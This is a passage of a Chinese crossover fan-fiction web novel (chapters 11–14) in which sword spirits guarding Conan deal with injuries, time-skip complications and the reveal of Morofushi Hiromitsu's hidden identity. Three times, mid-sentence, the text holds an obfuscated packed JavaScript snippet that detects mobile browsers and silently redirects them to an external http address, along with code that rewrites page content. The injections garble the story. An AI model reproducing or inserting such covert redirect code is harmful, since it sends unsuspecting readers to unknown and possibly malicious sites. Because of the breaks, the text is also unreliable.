p>不过这个小朋友只问了加州，他也就没说其他的。 加州清光和白山吉光在医院。 “主人，你怎么……伤的这么重？” 望着床上脸色苍白看不到半点血色的青年，加州清光伸出手又缩回，有点不敢碰他。 本来今天知道主人他们回来了他还很高兴的，谁知道山姥切下一句话就是主人受伤了他们要先把人送到医院。 “别担心，我没事。”江霖抬手，轻触他的脸颊，“只是有些失血过多，修养一段时间就好了。” 手好冷，加州清光慌乱地握住他的手，几乎落泪，明明主人的手，一直都是温暖的，现在却…… “白山！白山也来了！”他忽然想起什么，急切地呼唤起白山吉光，“你快给主人治疗！” 山姥切国广张了张嘴，最终还是什么都没说，他不觉得白山的神技对主人会有用，但……万一呢？ 事情并没有向他们最希望的方向发展。 “怎么会……？”白山吉光看着自己伸出的双手和江霖腰上毫无变化的伤口，神色是少见的迷茫。 他的力量，没有用？ 江霖却不意外这个结果：“你本就是因我的灵力而被唤醒，若这个力量还能在我身上起效，岂不是太过惊世骇俗了。” 他不想他们再纠结这个，转而问起：“你们的情况如何？” “我们还好，敌人出现的次数不多，也不难应付。”说着，想起某个小孩大胆的试探行为，加州清光鼓了鼓腮帮子，“就是那小鬼真的太敏锐了，居然还给我装监听器，我就吓唬了他一下。” “那样算是提醒，”白山吉光从情绪中抽离，纠正他的话，“你们之间的关系有所增进，根据判断，这样对任务有益，因此我没有阻止你。” “嗯嗯，我知道，所以你也没拦烛台切嘛。”回答完他，加州清光双手握住江霖的手微微用力，亲昵的语气中溢出些撒娇般的抱怨，“主人，你们呢？遇到了什么事？离开了这么久，我真的很担心啊。” 闻言，山姥切国广接话：“我跟你们解释吧，让主人休息一会儿。” 他们到房间外的走廊，山姥切国广简单叙述了一遍他们这段时间的经历。 听完，加州清光只觉得头疼：“难怪去了这么久，你们的遭遇也太丰富了。” 而且，“总感觉这次的任务会很麻烦啊。” 决战时才会出现的隐藏势力什么的，谁知道敌人到底暗中囤积了多少力量啊？ 不过现在思考那些也没用，徒增烦恼，他现在更想知道一件事。 “怎么只有你在，药研和七星剑呢？” 山姥切国广停顿了一下，表情有些复杂：“他们两个，去叙旧了。” 警视厅附近的餐馆，一间隐私性很好的包间内。 “你们怎么这样看着我？” 药研藤四郎看着对面欲言又止的萩原研二和一旁拧着眉的松田阵平，忍不住问。 “小药……”萩原研二的声音很轻，甚至在颤抖着，“为什么七年过去了，你却一点变化都没有？” “你为什么，没有长大呢？” 药研藤四郎瞳孔一缩。 12. 第 12 章 这不对。 上次见到萩原研二他们的时候，他们还没有发现他的样子其实一直都没变。 药研藤四郎意识到，现在的时间节点肯定又出现了变故。 他又想起，回到这里之后，狐之助突然说观测到的各种数据都产生了异常波动需要紧急自检，到现在都还没动静。 难道说……药研藤四郎想起上次这样类似的情况，是碰到小时候的降谷零，他居然可以看到时间溯行军的真身。 又是，“规则”吗？ 为什么？原因呢？ 等等，想远了。 现在当务之急是先给这两个人解释，但是短短几秒钟要他想到一个合理的理由会不会有点高估他了？ “我……” “没关系的，小药，是不能说吗？” 不知道他这短暂的停顿和神色的变化让萩原研二想到了什么，半长发的警官努力平复着情绪，分明瞳孔中还残存着惊异和惶然，却对他扯出了笑容。 “是和第一次见面时你身上那种神奇的力量一样的原因吗？” 萩原研二不知道是在向他求证还是在说服自己。 是啊，刚认识就知道的，小药他们和普通人不一样的，那么冻龄这种事情虽然也很不可思议，但出现在他们身上也不奇怪对吧？ 可既然如此，内心涌现的这股强烈的不安感又是什么？ “萩原，现在可不是踩刹车的时候。” 眼见着对方还什么都没说，幼驯染却已经快自我说服了，松田阵平摘下墨镜，失去遮挡的凫青眼瞳望向药研藤四郎，仿佛能看透人心。 “七年前，我们分别时你说的那个任务，现在回想起来，我也还是觉得很可疑。” “‘断绝一切与外界的联系’、‘时间不定’，你那时候受伤刚好，人手是缺到什么地步，才需要不是最佳状态的你去。” “今天见到你之后，我想到了一种可能。” 松田阵平的语气一向是气定神闲、带着视规矩于无物的慵懒感，而不是像现在这样，谨慎的、理智的，却好似每一个字都砸在他们的心上。 “人体实验。” “而且是你本人知情并同意的，所以你对自己要面对的未来有所了解、且欣然接受。” “你现在的样子，是实验造成的结果，对吗。” 松田阵平用着陈述的口吻平静地说出自己的推测。 他是希望药研藤四郎反驳的，但面容与七年前别无二致的少年脸上的情绪纷杂变化，最后凝结成一句沉重的应答。 “对。” 他承认了。 萩原研二的心沉了下去。 七年前小药才多大？什么实验非得在一个孩子身上做！ “果然如此吗。” 松田阵平的声音很冷静，冷静到如同摒弃了所有情绪：“还有一个问题，刚才见面的时候，你好像并不认为我们会对你的样子有所疑惑，我不觉得我和萩原会忽略这么显而易见的事情，原因是什么？” 见药研藤四郎嘴唇动了动，却没开口，他捏住墨镜的手指微微用力，气笑了：“行，都这时候了还想让我猜是吧？那我就不客气了。” “实验必然是想达到某种目的，别的虽然不清楚，但从你的表现来看，应该是可以造成类似于认知混淆的效果，也就是说，是精神方面的，对吗？” 不对啊！你是怎么想到这方面的！逻辑竟然还自洽了，之前都没看出来你想象力这么丰富！ 他问起让他承认这个离奇猜测的式神：【狐之助，之前的实验体猜想也就算了，我的样子在他们眼里一直没变的确需要一个理由。但这个我也要应下吗？他这个设想有点过于离谱了吧？】 而且世界对于他们身份的自动修正怎么会突然失效？要不是因为这个，本来他连实验体的推测都不想应下。 他不想在这种事上欺骗这两个人，这只会白白让他们为他担忧。 【如果……】狐之助弱弱地开口，【您现在能想到一个让他相信的理由，也可以不承认。】 药研藤四郎沉默了。 最终，药研藤四郎神色复杂地给出回答：“……对。” 对不住，等一切结束后，他会告诉他们真相的。 ……如果，那时候他们还记得他。 “狐之助？” 病房中，江霖呼唤着说到一半突然消声的式神：“你刚才说数据产生波动是因为这个时间节点出现了不明原因导致的季节变化混乱，有什么影响吗？” 【原本规则的存在会向这个世界的人合理化各位的存在，但现在失效了，之后遇到任务中密切接触过的人物请加以注意，避免对方察觉到不合常理的情况。】 “明白。” 【这只是附带的影响。】狐之助声音忐忑，【最重要的是，因为季节变化混乱，传送通道无法准确定位，我们……回不了本丸了。】 【当然！也不是完全没办法！】想起来什么，它急切地补充道，【政府设有固定传送通道，等任务成功完成，我们就能回去了！】 也就是说，这次任务，已经是只能成功，不能失败了。 江霖垂下眸：“我知道了。” 呼吸间不免带动伤口，腰部隐隐传来刺痛，江霖轻轻按住新换上的纱布，在那之前，先把伤养好吧。 ———— 药研藤四郎再三保证自己除了样貌外一切正常，半信半疑的二人终于放过了他。 主要是餐馆要打烊了，再不走老板就要开始赶人了。 “我们送你回去吧，”整理好情绪的萩原研二露出惯有的笑容，并在少年想要拒绝时可怜兮兮地看着他，“认识这么久，我都还没去小药你家做过客呢。” 一向体贴的他丝毫不提这个时间去别人家做客有多不合适。 “……好吧。”药研藤四郎无奈地叹了口气，答应了。 他没带他们去传送过来时的那间院子，而是去了烛台切光忠在毛利侦探事务所附近租的房子。 烛台切光忠不在家，那两个都跑去医院了，他就算再担心江霖也要留在这保护江户川柯南。 房子是简单的两居室布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559852|171356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 局，松田阵平大摇大摆地把整个房子检查了一遍，没发现什么不该出现的东西后还挑了下眉，意思非常明确。 药研藤四郎：……所以他们是觉得他不但是实验体还有被监视看管的可能？ 那还真是让他们失望了啊。 这次任务碰到的人，一个个都好像有八百个心眼子。 解决了最关心的问题，松田阵平也有了闲心，打量一圈药研藤四郎的房间，意味不明地啧了一声：“没想到你喜欢这种风格？” 房间的主色调是黑红，布置的倒是很协调，但他就是感觉，跟药研这小子不搭。 药研藤四郎沉默了一瞬，还是不打算背这个锅：“不，我今天刚回来，这是烛台切布置的。” 但他以为烛台切会更偏好黑金配色。 “烛台切……”把这几个字重复了一遍，萩原研二眨了眨眼，“也是小药的同事？我会以为你的室友会是小加州呢，你们看起来关系更好。” 带话都是让他带给加州清光。 “我们关系都很不错。”少年轻笑一声，语气中带着不易察觉的骄傲和自豪，“都是些很好的家伙啊。” 整个人都变得温柔了啊。 萩原研二眼神软了下去，有值得信任依赖的人，是非常棒的哦，小药。 “很有精神嘛，小子。”松田阵平毫不客气地揉了一把他的头发，“这样也好，我和hagi也能放心了。” “松田警官，”药研藤四郎的声音听着有点咬牙切齿，“我姑且问一句，你应该不是在把我当小孩哄吧？” “……” 松田阵平陷入了可疑的沉默。 “哈哈哈哈……小阵平……” 目睹幼驯染突然僵住的动作，萩原研二笑得整个人都在抖，“你现在、好像被直击弱点反驳不能的犯人啊哈哈哈哈！” “hagi，你好啰嗦！” 疑似恼羞成怒的松田警官用力把手底下的头发揉的更乱：“你也才22，把你当小孩不对吗？” 药研藤四郎：照你这么说，我几百岁了把你当小孩也很正常对吧？ 一高一矮僵持着，谁也不肯先示弱。 最后还是终于笑够了的萩原研二把两人分开，帮着药研藤四郎理顺头发，双手搭在少年的肩上，目光中包含的情绪真挚而温柔： “虽然我们对你的任务可能帮不上什么忙，但有需要我和松田的地方，一定要告诉我们。” 明明也没有相处多久，就付出这么沉重的信任，人类真是奇怪啊。 药研藤四郎抬起眼，视线扫过近在咫尺的半长发青年，又看向同样等待着他的回答的卷发男人，笑了，语气沉着平静：“当然，不会跟你们客气的。” 每一段逸话，都是值得铭刻的。 拂晓时分，太阳尚未升起，但光线已足以让人辩识周围。 七星剑敲响了某座安全屋的门，对着门后的人睁开半阖的仿若蕴含着星辰的异瞳：“短暂的烟花亦可永恒。” “自地狱归来之人将至，你是否已准备好迎接你的命运？” 13. 第 13 章 “终于回来了啊，你怎么跑美国去了？” 七星剑来到医院的时候，加州清光正在给江霖收拾东西，看到他就随口问了一句。 “去提醒几位故人履行约定。”七星剑视线落在已经换下病号服的江霖身上，“即使我耽误了些时间，你应当也没恢复到能出院的时间？” 人类受到贯穿伤可没那么容易好，更别说他们的审神者是个伤口愈合比常人更慢的体质了。 因为受伤被初始刀禁止行动，江霖只能安静坐在椅子上看着他收拾，听到七星剑的话，他偏头看过去： “我的伤口及时换药就行，不需要一直待在医院。” 除了这个理由外，还有另一重原因。 他趁着加州清光转身的时间，对七星剑指了指自己的眼睛示意。 医院这种场所，灵魂的数量远超其他地方，迷茫悔恨者有之，不甘怨怼者有之，心怀恶意者……亦有。 他现在的状态，不适合在这里久待。 七星剑了然颔首，不再多问。 过了一会儿，去办出院手续的山姥切国广回来了：“出院手续办好了，清光，东西我也带来了。” “好——，辛苦国广了。”加州清光轻快应声。 看到山姥切国广准备的东西，江霖不动声色地后退一步：“我可以自己走。” 他没有伤到需要坐轮椅的地步。 加州清光不干了，他眼巴巴看着江霖，鲜妍的红眸几乎要泛出水光来：“主人——” 预料到结果的山姥切国广默默拿起收拾好的行李。 加州清光推着轮椅来到医院旁边的停车场，早就被通知在此等待的烛台切光忠降下车窗：“清光，这边。” 山姥切国广微微瞪大了眼：“烛台切，你……” “那孩子总是要出门，有车出行会方便一些，我就趁着空闲时间去考了驾驶证，很帅气吧！”烛台切光忠的语气不无得意。 “好了，快上车吧。” 招呼几人上车，轮椅也收到后备箱，金瞳青年发动车子：“去哪里？回家吗？” “去花店。”江霖道，“有些事要处理。” “OK。” 烛台切光忠开车很稳，兼具了速度与舒适感，体验感极佳。 以上是体验过萩原研二车技的山姥切国广的真实感想。 下车后，加州清光第一时间搬出轮椅，抗拒无能的江霖只好坐了上去，任由他推着自己进入花店。 “是去找小林吗？”加州清光问。 这句询问只是习惯性，来花店不找唯一的店员小林，总不能是找店里的花花草草谈心吧？ “嗯。” 这个时间点，加州清光不用想都知道小林会在哪个地方，丢下另外三个不管，他推着轮椅径直去了后院，果然见到正在给盆栽修剪枯枝的小林和一旁帮忙的白山吉光。 “小林！” “加州先生？欢迎回来，你的事情已经解决了吗？” 听到后方传来的动静，小林停下动作转过头回答，只是当他看到轮椅上的青年时，霎那间，记忆仿佛又被拉回了那晚，不由怔住了。 这个人，跟以前相比，完全没变啊，不管是七年前，还是三年前……甚至，更久以前。 很快，小林就收起了这股莫名的思绪，垂下的眼眸遮掩了他的真实情绪：“江先生，好久不见。” 过了几秒，他才听到对面的回应：“好久不见，弘。” 一时之间，小林竟有些恍然，他真的，很久没有被这样称呼过了。 弘……景…… 他不知道的是，江霖内心也是一片混乱：【好久不见……吗？狐之助，我分明半个月前才见过他。】 【对诸伏景光来说，那已经是三年前的事了。】狐之助尽可能让自己的声音听起来平稳， 【审神者大人，您知道的，这对他们来说是切身度过的时间，只是我们无法久留，才需要跳跃时间。】 【嗯。】 江霖当然知道，只是这样不对等的时间流逝，难免让他产生错乱，和不真实感。 但他不会因此而抱怨，任务是他自己接下的，遇到阻碍，想办法解决就是了。 更别提这种本就在预料之中的情况。 不管是半个月还是三年，太阳依旧东升西落，没什么不同。 沉默片刻，江霖抬眼望向小林弘，浅红眼瞳中充斥着他看不懂的情绪：“今天来，是为了告诉你一件事。” 从这句话中意识到什么，小林弘不再回避他的视线，紧紧盯着江霖，等待着他的下一句话。 “很抱歉将你困在这里这么久，从现在开始，你可以恢复你原本的身份和名字了。” 心脏的跳动忽然慢了一拍，小林弘不由瞪大了眼睛，不敢置信般地问了一句：“真的？” 江霖点头：“自然。” 内心迸发出的喜悦几乎将小林弘淹没，但冷静下来后，他反而犹豫了：“但是，我恐怕还不能跟公安联络，毕竟在他们眼中，我已经死了……” 他现在在公安的认知中是已死人员，冒然联系公安会被怀疑身份，而且……当年警视厅的卧底还没找出来，万一因此被组织知道他还活着，会连累到还在卧底的zero。 他不能冒险。 “你在警视厅公安的档案并没有封存销毁，而是被调走并进行了更高级别的保密处理。” 这些实际上是降谷零做的，不过江霖没想到，他们两个这三年居然真的没有联系过。 “但如果你担心这一点的话，”青年的声音淡漠而镇定，一如小林弘第一次与他对话时那样，“就先以‘霞’的协助人身份活动吧，我们会为你准备一份属于‘小林弘’的档案。” 小林弘不知该怎么形容自己现在的心情：“真的、万分感谢，太给你添麻烦了。” “不必，倒是我该感谢你。”对上他不解的目光，江霖轻笑，“辛苦你这几年照看花店，还有这段时间对白山和清光的照顾，他们都很喜欢你。” 加州清光翘起唇：“这一点我不否认哦，小林可是帮了大忙的。” 不然他都不敢想主人回来看到那么多花被他们养死了的表情。 虽然主人根本不会对他们生气，但是他会超——愧疚的！ 不过一码归一码。 他哼了一声：“但我还是要找你算账，相处了这么多天，还以为我们已经建立起深厚的友谊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559853|171356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，结果你连名字都是假的！” “在此之前我并不清楚你跟江先生之间的关系，才会向你们隐瞒。”小林弘诚恳地解释。 加州清光眼神一动，没有说什么。 他才不会说自己对小林的嘴严其实很满意呢。 不对，是不是小林还不一定呢。 唔哇，这么一想突然真的有点生气了。 小林弘表情却轻松下来，眼眸中漾起细碎的光：“请允许我正式地向你和白山自我介绍。” 听到自己的名字，一言不发的白山吉光将视线转到旁边的青年身上，没有说话，但已然做出认真聆听的姿态。 “我的名字是诸伏景光，29岁，现为警视厅公安，兼任‘霞’的协助人。” 说完，诸伏景光从脖子上取下什么，加州清光只觉他的身形有一瞬的扭曲，面前的人便完全变了个样子。 原本平常的、因气质而加分不少的清秀脸庞变成了很容易吸引人注意的俊逸面容，少见的上挑蓝灰色瑞凤眼极具辩识性。 气质也有了微妙的变化，从认真执着的坚定转变为跟这张脸更加契合的温和内敛。 白山吉光仍是那副平淡的表情，视线向上抬了一些：“我名为白山吉光，‘霞’的成员之一。” “我是加州清光，同样，是‘霞’的成员。”加州清光懒洋洋地道。 忽然，意识到什么，他的视线缓缓上移，对上诸伏景光不解但含笑的眼眸。 这个人怎么好像突然变高了？？ 发觉这一点后，不死心的加州清光凑近诸伏景光伸出手，后者哭笑不得地任由他比划。 比划完，加州清光得出结论：这个人从比他高半个头变成高了快一个头！ 而导致这一点的原因，加州清光目光扫过他手上的红宝石吊坠，上面的灵力让他准确地锁定了目标。 他蹲到江霖的轮椅旁边，抬起头幽怨地开口：“A……兄长，改了他的样子也就算了，为什么连身高也要改？” 不是他在意小林的身高突然高了十厘米，但是差这么多对生活会有影响吧，比如视线的落点会有微妙的差别什么的，很不方便的。 绝对不是因为他很在意小林突然高了十厘米。 江霖摸了摸他的头发：“他需要隐藏，身高的变化对这点很有帮助。” 加州清光勉强接受了这个解释。 诸伏景光重新戴上项链，变回“小林弘”，然后拿起剪刀：“如果没什么别的事，我就继续了？” 他的盆栽才修到一半呢。 江霖还没说什么，加州清光却眯起了眼，别有深意地开口：“小林，你就没什么要交代的吗？” 思考了好一会儿也没想到自己要交代什么，诸伏景光迷茫的迟疑着回答：“好像，没有？” 作为小林弘的这段时间，他一直好好当着江先生手下的花店店员，什么出格的事都没做啊。 “既然这样，我可要告状了。” 加州清光露出一副抓到他把柄的得意表情，指着诸伏景光对江霖大声道，“他两天前受了枪伤，还瞒着我们！” 诸伏景光一愣：“你怎么发现的？” 他应该没有表现出来才对。 14. 第 14 章 听到加州清光说的，江霖的面色瞬间紧绷，目光在诸伏景光身上巡视：“伤势如何？是被人发现了吗？” 是黑衣组织，还是时间溯行军？ “江先生，你别紧张，听我解释。” 诸伏景光没想到那天受的伤居然被加州清光发现了，还引起这样的误会。 “那天是我帮一位女士追抢劫犯的时候误入了两个黑/帮的火拼现场，不小心被流弹擦伤。只是意外，不是什么严重的伤势，也没有被组织发现。” 其实流弹他是可以躲过的，但店员‘小林弘’是没有这个身手的，所以他仅仅避开了要害部位。 当然不能伤到要害，他还得工作呢。 “原来如此。”江霖微微颔首。 “所以根本没有什么不能说的秘密，你就是单纯受伤了不想让我们知道？难道我这些天表现的像是什么员工干不了活就会辞退他的黑心老板吗？” 加州清光不爽地磨了磨牙。 诸伏景光举手求饶：“是我的错，我不该妄加揣测加州先生的心意。” 绝口不提那种情况下不可能告诉他们受伤的具体情况。 偶尔加州先生也会有点孩子气呢。 看到加州清光用补偿精神损失的理由从诸伏景光那里成功敲了一顿大餐后脸上露出的狡黠表情，江霖忽然伸手在他头顶揉了揉，得到后者一个茫然的眼神：“嗯？” “没什么。”江霖移开手，放回轮椅的扶手上，“只是在想要不要养只猫。” 动作跟表情都很心虚啊，主人。 不过加州清光没有把这句话说出口，站起身后顺着江霖的话思考：“有想好要买什么猫吗？要不要找个时间去宠物店看看？” “狐狸，也可以。”白山吉光默默加入。 耳边是加州清光兴致勃勃建议养什么颜色的猫的声音，诸伏景光一边修剪着盆栽，默不作声地思考着。 根据他的已知情报来看，除了作为‘持刀者’的江先生以外，‘霞’的成员均以刀剑为名，一共六人。 其中五位他已经见过，不知道剩下的那个，会是谁？ 等一下，诸伏景光运转的大脑突然一停，作为一个明面上没有记载的部门，他对‘霞’的了解是不是有点太多了？ 店铺半掩的后门被推开，从中探出一个脑袋：“抱歉在各位讨论的这么兴起的时候打扰，不过，有客人来了哦。” “我马上就来！”略微提高声音回答，小林弘抱着修好的盆栽快步穿过门扉进入店面。 与站在门边的男人错身而过时他对上了一双带笑的金色眼眸，对视的那一瞬间，诸伏景光明白了。 他就是第六个人。 来到店面中，小林弘目光如常地扫过站在营业区内的山姥切国广和七星剑，迎上大门口处的顾客：“欢迎光临，您是想挑选什么花？” 小林弘的身影在视野中消失，烛台切光忠挑了挑眉，迈步走进后院，对最终还是决定不养猫的江霖道： “我还是第一次见到这位，没想到他身上居然沾染了你的灵力，难不成是为任务准备的秘密武器？” 但是那股气息很淡，估计是刚才发生了什么不小心外泄了，平时应该是发现不了的。 他是用玩笑一样轻松的语气说出的这句话，却没料到江霖点了头。 “他是其中之一。” 烛台切光忠讶异地睁大了眼。 收银台后方的时针又一次走到五点，小林弘闭店歇业，这次却没有马上离开。 他从内部锁上大门，听到轮子压过地面的声音，回过头看见加州清光推着江霖出来了。 “就在这里说吗？”诸伏景光问。 江霖摇头，从怀里掏出枪，击中时钟中央狐狸样式的装饰。 “咔嚓。” 墙壁裂开成两半，露出向下的黝黑通道。 诸伏景光毫不意外，他知道这地方一定内有乾坤，也发现了这面墙的不对劲，只是一直没有找到打开的办法。 进入通道之前，他看了一眼完好无损的狐狸装饰，若有所思，他记得那把枪的子弹……所以才没办法用常规办法开启吗？ “不用叫药研过来吗？”开始之前，山姥切国广问了一句。 烛台切光忠摇头拒绝：“不行呢，他今天要保护任务目标。” “到时候转述给他吧。”加州清光双手手肘抵在桌子上撑着下巴，拉长了声音，“所以——，这段时间是发生了什么我们几个不知道的新变化？” 看来跟他们几个每天都只盯着某个小侦探的生活比起来，主人他们的经历很精彩啊。 尤其是，他看向安然坐在江霖身侧的诸伏景光，微微眯起眼，小林，他的协助人身份居然不只是因为他需要这个身份，而是真的协助吗？ 有意思，人类能对他们的任务，提供什么帮助呢？ 下一秒，从诸伏景光口中吐露的词汇让加州清光骤然呼吸一滞，跟他同样表现的还有烛台切光忠。 诸伏景光一顿：“加州先生，我刚才说的‘改造人’有什么问题吗？” “没有，只是让我想起了一些不愉快的过去。”加州清光深吸一口气，“没事，你继续。” 没想到啊，在这个世界还能碰到跟他们的前任审神者如此相似的人类，贪婪又不自量力，试图掌控不属于自己的力量，因而罔顾他人意愿。 哈，因为这个世界没有付丧神，所以他们对自己的同类动手了吗？ 他的情绪不太对，诸伏景光担忧地看了加州清光一眼，继续开口： “这三年我在为花店寻找镇店之宝的时候跑了很多地方，没有发现任何‘改造人’的踪迹，它们就好像突然消失了。” 虽然确实是为了搜集稀有花卉才在各地奔波，寻找‘改造人’只是顺带的，但一次都没发现过它们这种情况也不正常。 在卧底期间他都还碰到过几次，没道理特意去找反而没有了，除非那些东西彻底消失了。 但，不可能，那些家伙是不可能就这样放弃的。 “找不到也正常。”相比于不了解内情而疑惑的加州清光三人，实际参与的山姥切国广要更加清楚原因，“被清剿过那么多次，它们要还敢明目张胆的出现，也太不把我们放在眼里了。” “狡兔亦有三窟，更别说那些见不得天日的坎精了。”七星剑唇角弯起，似笑非笑，“不过是藏得更深罢了。”* 咳。诸伏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559854|171356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景光掩住唇，咽下喉中溢出的笑声，虽然现在不该笑，但真想听到琴酒知道自己的组织被人称作老鼠时的表情啊。 组织的老鼠·苏格兰如是想。 “现在我们有足够的时间，将搜寻的范围扩大吧。”江霖声音平静，眸中闪过一抹冷光，“不必再局限于日本。” 即使现在无法动手，也不能放任不管。 知己知彼，方能百战不殆。 然后，诸伏景光看到，在场的五人，不管之前是什么动作、在思索着何事，在江霖出声后，就仿佛演练过千百遍一样单手扶上腰间的刀柄，微微低下头，齐声道：“是！” 啊……诸伏景光恍然，这就是‘持刀者’这个代号的含义吗？ 身为以刀为名的成员们的，绝对的、不容置疑的领导者。 “弘。” 小林弘扭头看向他：“我在。” “身为协助人，我有一项任务要拜托你。” “请说。”小林弘侧过头，做出愿闻其详的姿态。 —————— 看到从花店门口走出的小林弘，正准备进波洛咖啡店买晚餐的江户川柯南下意识看了一眼手表，六点三十七，相比他平时的下班时间晚了一个半小时。 他记得，小林弘一直都是五点准时下班，即使是加州先生他们来了也没有改变。 今天这个情况，就显得很反常了。 想到某种可能，江户川柯南快速穿过马路，叫住已经走出几米远的小林弘：“小林哥哥！” 小林弘停下脚步回头，见是他，礼貌地询问：“柯南君，怎么了？” 江户川柯南眨巴着眼睛，意图表现出自己只是因为小孩子泛滥的精力才好奇：“你今天好像下班很晚诶，是客人太多了一个人忙不过来吗？呐呐，还有，加州先生还没有回来吗？” 加州先生到底什么时候回来啊！他有好多问题想从他那里得到答案！ “我不知道加州先生什么时候才回来。”虽然人其实就在里面，小林弘面色如常地回答，“今天待到这么晚是因为店长从国外回来了，我们谈论了一些事情。” “店长从明天开始就会一直待在店里了，看来我没有上司管理的悠闲生活要一去不复返了呢。” 他小小的开了个玩笑。 这一点江户川柯南有所了解，他还是工藤新一的时候，有一次听小兰提起过，对面花店每一季度都要暂停营业一段时间，时间三到七天不等，理由是店员要出门搜集稀有品种扩大营业范围。 虽然当时听到的时候他怎么想都觉得这是店员在借机带薪度假。 但既然这家店不仅仅只是个普通的花店，现在回想起来，小林弘这个举动也有点可疑呢，还有这个突然出现的店长…… 趁着江户川柯南在低头沉思，小林弘用隐晦的探究目光在他身上迅速扫过。 这孩子就是江先生一定要保护的人？看起来除了比普通小孩更聪明一点，也没什么不同。 明天试探一下店长吧，这个时间突然回来，他说不定会是个突破口。 想到这里，江户川柯南跟小林弘道别后跑进波洛咖啡店，耽误了一点时间，不赶紧买完回去又要被大叔嫌弃了。